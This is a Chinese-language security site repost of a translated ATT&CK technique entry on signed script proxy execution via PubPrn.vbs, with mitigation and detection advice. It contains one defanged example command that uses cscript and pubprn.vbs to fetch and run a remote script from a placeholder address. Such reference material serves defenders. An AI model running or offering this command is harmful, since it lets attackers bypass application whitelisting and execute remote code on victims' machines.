ATT&CK - 签名脚本代理执行

admin 2024年4月15日01:39:34评论7 views字数 417阅读1分23秒阅读模式

签名脚本代理执行

具有可信证书签名的脚本可用于代理恶意文件的执行。
这种行为可能会绕过签名验证限制和不考虑这些脚本的应用程序白名单解决方案。
由 Microsoft 签名的 PubPrn.vbs 可用于代理远程站点的执行。
示例命令:cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png
还有一些其他签名脚本可以以类似的方式使用。

缓解

在给定的环境中,可能并不需要某些可用于执行其他程序的签名脚本。
如果给定的系统或网络不需要这些脚本,配置应用程序白名单来拦截它们的执行,防止攻击者潜在的滥用。

检测

监视脚本进程(如 cscript) 和命令行参数,查看是否有可用于代理执行恶意文件的脚本(如 PubPrn.vbs)。

- 译者: 林妙倩、戴亦仑 . source:cve.scap.org.cn

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月15日01:39:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK - 签名脚本代理执行https://cn-sec.com/archives/2658002.html

发表评论

匿名网友 填写信息